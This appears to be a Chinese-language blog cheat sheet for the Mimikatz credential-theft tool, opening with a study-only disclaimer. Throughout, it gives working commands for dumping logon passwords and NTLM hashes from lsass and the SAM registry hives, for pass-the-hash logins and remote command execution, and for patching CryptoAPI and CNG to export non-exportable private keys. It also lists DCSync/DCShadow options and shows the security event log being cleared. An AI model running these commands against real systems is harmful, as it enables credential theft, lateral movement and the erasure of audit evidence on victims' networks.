郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

前言

只记录自己用过的命令

常用的命令

常规抓hash

privilege::debug
sekurlsa::logonpasswords

注册列表抓hash

reg save HKLM\SYSTEM SYSTEM
reg save HKLM\SAM SAM
lsadump::sam /sam:SAM /system:SYSTEM

PTH登录

sekurlsa::pth /user:administrator /domain:ascotbe.com /ntlm:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
dir \\10.0.0.1\c$

procdump

有些情况下🥝是无法抓取到hash的,会提示ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)错误,可以使用procdump64+mimikatz来解决,前提是windows要运行了lsass.exe

#管理员情况下运行
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

基本命令

1

  • exit:退出当前程序

  • cls:清屏

  • answer:对生命、宇宙和万物的终极问题的回答。

  • coffee:显示一杯咖啡图案,请阿姨喝杯卡布奇诺。

  • sleep:默认睡眠 1000ms,后跟时间参数,比如sleep 5000,就会睡眠5000ms

  • log:记录 Mimikatz 所有的输入和输出到当前目录下的 log.txt 文件,它只会记录输入log命令后的输入和输出,当你没有启动这个命令之前的所有命令都不会记入进去。

  • base64:将输入/输出转换成 base64 编码。

  • version:查看Mimikatz的版本

  • cd:切换或者显示当前目录。与linux命令相同

  • localtime:显示系统当前时间和 UTC 时间。

  • hostname:显示主机的名称。

使用模块

输入::显示其支持模块信息。

2

standard:标准模块,基本命令,不需要模块信息

该模块就是上文中的基础命令

crypto:加密模块,其后跟以下参数

下图是参数列表

3

CRYPTO模块提供了与Windows加密功能(CryptoAPI)交互的高级功能。
通常的用途是导出未标记为“可导出”的证书。

参数名 说明
providers 该命令列出所有 CryptoAPI 提供者。
stores 列出系统存储中的逻辑存储,crypto::stores
certificates 显示或者导出证书。
keys 列出或者显示密钥
sc 此命令列出系统上的智能卡/令牌读取器或将其移出系统;当 CSP 可用时,它会尝试在智能卡上列出密钥。
hash 显示当前用户的的哈希(LM、NTLM、md5、sha1、sha2)计算值。
system 描述 Windows 系统证书(注册表或者 hive 文件)。
scauth 从 CA 创建一个认证(智能卡等)。
certtohw 尝试将软件 CA 导出到加密(虚拟)硬件中。
capi 修补 CryptoAPI 程序方便导出。
cng 修补 CNG 服务方便导出。
extract 从 CAPI RSA/AES 提供者获取密钥。

providers

此命令列出所有提供程序:CryptoAPI,然后列出CNG(如果可用)

mimikatz # crypto::providers

CryptoAPI providers :
0. RSA_FULL ( 1) - Microsoft Base Cryptographic Provider v1.0
1. DSS_DH (13) - Microsoft Base DSS and Diffie-Hellman Cryptographic Provider
2. DSS ( 3) - Microsoft Base DSS Cryptographic Provider
3. RSA_FULL ( 1) - Microsoft Base Smart Card Crypto Provider
4. DH_SCHANNEL (18) - Microsoft DH SChannel Cryptographic Provider
5. RSA_FULL ( 1) - Microsoft Enhanced Cryptographic Provider v1.0
6. DSS_DH (13) - Microsoft Enhanced DSS and Diffie-Hellman Cryptographic Provider
7. RSA_AES (24) - Microsoft Enhanced RSA and AES Cryptographic Provider
8. RSA_SCHANNEL (12) - Microsoft RSA SChannel Cryptographic Provider
9. RSA_FULL ( 1) - Microsoft Strong Cryptographic Provider

CryptoAPI provider types:
0. RSA_FULL ( 1) - RSA Full (Signature and Key Exchange)
1. DSS ( 3) - DSS Signature
2. RSA_SCHANNEL (12) - RSA SChannel
3. DSS_DH (13) - DSS Signature with Diffie-Hellman Key Exchange
4. DH_SCHANNEL (18) - Diffie-Hellman SChannel
5. RSA_AES (24) - RSA Full and AES

CNG providers :
0. Microsoft Key Protection Provider
1. Microsoft Passport Key Storage Provider
2. Microsoft Platform Crypto Provider
3. Microsoft Primitive Provider
4. Microsoft Smart Card Key Storage Provider
5. Microsoft Software Key Storage Provider
6. Microsoft SSL Protocol Provider
7. Windows Client Key Protection Provider

stores

此命令列出系统存储中的逻辑存储。

  • /systemstore 该参数是可选参数并且默认为CERT_SYSTEM_STORE_CURRENT_USER,也可以替换为下面中的其中一种

    • CERT_SYSTEM_STORE_CURRENT_USER or CURRENT_USER
    • CERT_SYSTEM_STORE_CURRENT_USER_GROUP_POLICY or USER_GROUP_POLICY
    • CERT_SYSTEM_STORE_LOCAL_MACHINE or LOCAL_MACHINE
    • CERT_SYSTEM_STORE_LOCAL_MACHINE_GROUP_POLICY or LOCAL_MACHINE_GROUP_POLICY
    • CERT_SYSTEM_STORE_LOCAL_MACHINE_ENTERPRISE or LOCAL_MACHINE_ENTERPRISE
    • CERT_SYSTEM_STORE_CURRENT_SERVICE or CURRENT_SERVICE
    • CERT_SYSTEM_STORE_USERS or USERS
    • CERT_SYSTEM_STORE_SERVICES or SERVICES

    使用方法如下

    mimikatz # crypto::stores /systemstore:local_machine
    Asking for System Store 'local_machine' (0x00020000)
    0. My
    1. Root
    2. Trust
    3. CA
    4. TrustedPublisher
    5. Disallowed
    6. AuthRoot
    7. TrustedPeople
    8. ADDRESSBOOK
    9. ipcu
    10. Remote Desktop
    11. REQUEST
    12. SmartCardRoot
    13. TrustedDevices
    14. Windows Live ID Token Issuer

sc

能列出读取智能卡或者令牌读取器,如果用CSP的时候能读取出智能卡的密钥

mimikatz # crypto::sc
SmartCard readers:

* OMNIKEY CardMan 3x21 0
ATR : 3bb794008131fe6553504b32339000d1
Model: G&D SPK 2.3 T=1
CSP : SafeSign Standard Cryptographic Service Provider

0. 34C99D73A1FAE4D44F9966DF626623DF18858C83
34C99D73A1FAE4D44F9966DF626623DF18858C83
Type : AT_KEYEXCHANGE (0x00000001)
Exportable key : NO
Key size : 1024

* SCM Microsystems Inc. SCR35xx USB Smart Card Reader 0

scauth

创建用于用于智能卡身份验证的客户端证书

该命令中的参数

  • /caname

    证书颁发机构的主题名称(需要签署证书)

  • /castore 可选

    包含证书颁发机构的系统存储(默认值:CERT_SYSTEM_STORE_LOCAL_MACHINE

  • /upn

    指定的用户主体名称(UPN)(例如:user@lab.local

  • /pfx 可选

    保存最终证书的文件名(默认:无文件,存储在CERT_SYSTEM_STORE_CURRENT_USER中)

mimikatz # crypto::scauth /caname:KiwiAC /upn:user@lab.local /pfx:user.pfx
CA store : LOCAL_MACHINE
CA name : KiwiAC
CA validity : 22/08/2016 22:00:36 -> 22/08/2021 22:10:35
Certificate UPN: user@lab.local
Key container : {a1bd29ec-4203-4aac-8159-40f28f96335b}
Key provider : Microsoft Enhanced Cryptographic Provider v1.0
Private Export : user.pfx - OK

certificates

该参数里面有三个可以选值

  • /systemstore –可选–必须使用的系统存储(默认值:CERT_SYSTEM_STORE_CURRENT_USER)
  • /store –可选–必须用于列出/导出证书的存储(默认:My)–带有crypto::stores的完整列表
  • /export –可选–将所有证书导出到文件(DER中的公共部分,PFX文件中的私有部分–密码保护:mimikatz)
  • /silent –可选–如果需要用户交互,则中止
  • /nokey –可选–不要尝试与私钥进行交互
mimikatz # crypto::capi
Local CryptoAPI patched

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # crypto::cng
"KeyIso" service patched

mimikatz # crypto::certificates /systemstore:local_machine /store:my /export
* System Store : 'local_machine' (0x00020000)
* Store : 'my'

0. example.domain.local
Key Container : example.domain.local
Provider : Microsoft Software Key Storage Provider
Type : CNG Key (0xffffffff)
Exportable key : NO
Key size : 2048
Public export : OK - 'local_machine_my_0_example.domain.local.der'
Private export : OK - 'local_machine_my_0_example.domain.local.pfx'

hash

使用可选的用户名对密码进行哈希处理


keys

参数列表

  • /provider - 可选 - 旧版CryptoAPI提供程序(默认值:MS_ENHANCED_PROV)
  • /providertype - 可选 - 旧版CryptoAPI提供程序类型(默认值:PROV_RSA_FULL)
  • /cngprovider - 可选 - CNG提供程序(默认:Microsoft软件密钥存储提供程序)
  • /export - 可选 - 将所有密钥导出到PVK文件
  • /silent - 可选 - 如果需要用户交互,则中止

提供者详细信息的完整列表crypto::providers

mimikatz # crypto::keys /export
* Store : 'user'
* Provider : 'MS_ENHANCED_PROV' ('Microsoft Enhanced Cryptographic Provider v1.0')
* Provider type : 'PROV_RSA_FULL' (1)
* CNG Provider : 'Microsoft Software Key Storage Provider'

CryptoAPI keys :

0. myCapiKey
223311d3b5d990f48c65070b883b9ef1_33b8db1c-b3d2-4912-b24e-fc0742b704c1
Type : AT_KEYEXCHANGE (0x00000001)
Exportable key : YES
Key size : 2048
Private export : OK - 'user_capi_0_myCapiKey.pvk'

1. OC_KeyContainer_Lync_user@domain.local
49e3a9228aa9a33357545413fba35d07_33b8db1c-b3d2-4912-b24e-fc0742b704c1
Type : AT_SIGNATURE (0x00000002)
Exportable key : NO
Key size : 2048
Private export : KO - ERROR kuhl_m_crypto_exportKeyToFile ; Export / CreateFile (0x8009000b)

CNG keys :

0. mykey-d535a6d8-70f5-496f-8c85-17c8fd26f379
98a436bd6f4caa9b24379112b577f688_33b8db1c-b3d2-4912-b24e-fc0742b704c1
Exportable key : NO
Key size : 2048
Private export : KO - ERROR kuhl_m_crypto_exportKeyToFile ; Export / CreateFile (0x80090029)

3


cng

此补丁在LSASS进程中修改KeyIso服务,以使不可导出的密钥可导出。仅当密钥提供者是Microsoft软件密钥存储提供者(您无需为其他提供者修补CNG)时,此功能才有用。可以与crypto::certificatescrypto::keys一起使用

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # crypto::cng
"KeyIso" service patched

sekurlsa 枚举用户凭证

3

参数名 说明
msv 获取 LM & NTLM 凭证,可以获取明文密码。
wdigest 获取 WDigest 凭证,可以获取明文密码。
kerberos 获取 Kerberos 凭证。
tspkg 获取 TsPkg 凭证。
livessp 获取 LiveSSP 凭证。
ssp 获取凭证
logonPasswords 获登录用户信息及密码,如果是在系统权限或者 psexec 进入的系统权限下,直接使用该命令,而无需运行 privilege::debug,否则需要运行该命令。
process 切换或者恢复到 lsass 初始状态。
minidump 切换或者恢复到 minidump 初始状态。
pth Pass-the-hash
krbtgt krbtgt!
dpapisystem 显示DPAPI_SYSTEM密码值。
tickets 显示 Kerberos 票据
ekeys 显示 Kerberos 加密密钥
dpapi 显示内存中的 MasterKeys。
credman 显示管理员凭证。

pth

抓取到哈希以后就可以直接登录了,也可以直接通过哈希执行命令

#执行命令
sekurlsa::pth /user:administrator /domain:ascotbe.com /ntlm:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX /run:\"cmd /c whoami\"

也可以执行运行命令弹出带有该哈希的本地CMD命令窗口,通过窗口使用PsExe来获取到目标CMD窗口

#弹出带有该哈希的本息CMD窗口
sekurlsa::pth /user:administrator /domain:ascotbe.com /ntlm:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Kerberos 包模块

privilege 特权模块

3

参数名 说明
debug 请求调试权限
driver 请求装载驱动权限
security 请求安全权限
tcb 请求 tcb 权限
backup 请求 backup 权限
restore 请求恢复权限
sysenv 请求系统环境权限
id 请求 id 特权,参数后跟具体的 id 值,例如请求特权 8:privilege::id 8
name 请求指定名称的权限

process 进程模块

参数名 说明
list 列出进程
exports 导出进程列表
imports 导入进程列表
start 开始一个进程
stop 终止一个进程
suspend 挂起一个进程
resume 恢复一个进程
run 运行一个进程

list

列出正在运行的进程,左边为PID右边是进程名字

3


exportsimports

这两个参数我没搞懂他有啥用,使用后一堆显示一堆windows API,疯狂刷屏


start

后跟进程的绝对路径,并且用""号包含。比如启动计算器process::start "C:\Windows\SysWOW64\calc.exe"

3


stop

用法process::stop /pid:5376(结束 pid 为5376的进程,注意空格别漏了)

3


suspend

挂起一个进程,挂起的进程点击它没有任何反应

3


resume

可以恢复挂起的进程,如下图恢复了记事本的运行

3


run

他会去寻找你想运行的exe进程,用法process::run calc.exe

3

运行cmd.exe

3

service 服务模块

参数名 说明
start 开始服务
remove 移除服务
stop 停止服务
suspend 暂停服务
resume 恢复服务
preshutdown 预关闭服务
shutdown 关闭服务
list 列出服务
+ - 安装 Mimikatz 服务。
- - 卸载 Mimikatz 服务

注意:有些服务不能暂停也不能启动

stop

暂停某个服务

3


start

3


remove

当我们删除一个服务的时候,如果改任务还在运行的话,你不会看到该服务消失,只有你删除的服务暂停运行的时候,该服务就会从列表中消失,看下图,删除后我们还能停止他,但是后面就不能启动他了,因为他已经不存在了

3


+ -- -

分别是安装和卸载mimikatz服务

3

其他命令用法没什么好讲的这里就不再概述了

lsadump Lsa转储模块

参数名 说明
sam 该命令转储安全帐户管理器(SAM)数据库,它包含用户密码的 NTLM,有时包含 LM 哈希
secrets 从 registry 或者 hives 获取保存的密码凭据,可以直接获取明文密码。
cache 获取内存中的密码值
lsa 从 lsa 服务器获取密码,lsadump::lsa /inject /name:krbtgt
trust 要求LSA服务器检索信任验证信息(正常或fbackupkeys rpdata上的补丁程序)
dcsync 要求DC同步对象
dcshadow 他们告诉我我可以成为我想要的任何人,所以我成为了域控制器
setntlm 要求服务器为一个用户设置新密码/ ntlm
changentlm 要求服务器为一个用户设置新密码/ ntlm
netsync 要求DC发送DC / SRV / WKS的当前和以前的NTLM哈希

ts 终端服务模块

参数名 说明
sessions 显示当前的会话
multirdp 允许多个用户使用 rdp,安装 rdp 补丁

sessions

该命令有点像linux上面的查看ssh终端有谁登录,上面时候登录,登录了多久一样

image-20200414223024341


multirdp

没有用过这个,站个坑后面会了在写

event 事件模块

参数名 说明
drop 启用事件补丁服务,不再记录新产生的事件
clear 清除时间日志

drop

没有用过这个,站个坑后面会了在写


clear

清除日志

image-20200414223725607

​ 安全位置的日志全被清空了

image-20200414224028608

misc 杂项模块

该模块就是一些打开文件的功能,比如说cmd、注册列表等等

token 令牌操作模块

参数名 说明
whoami 显示当前的身份
list 列出系统所有的令牌
elevate 冒充令牌
run 运行
revert 恢复到进程令牌

vault Windows 信任/凭证模块

参数名 说明
list 列出 Windows 信任/凭证
cred 未知

net 显示信息

这个模块和cmd中的net命令类似就是显示一些user、group、alias、session、wsession、tod、stats、share、serverinfo 等信息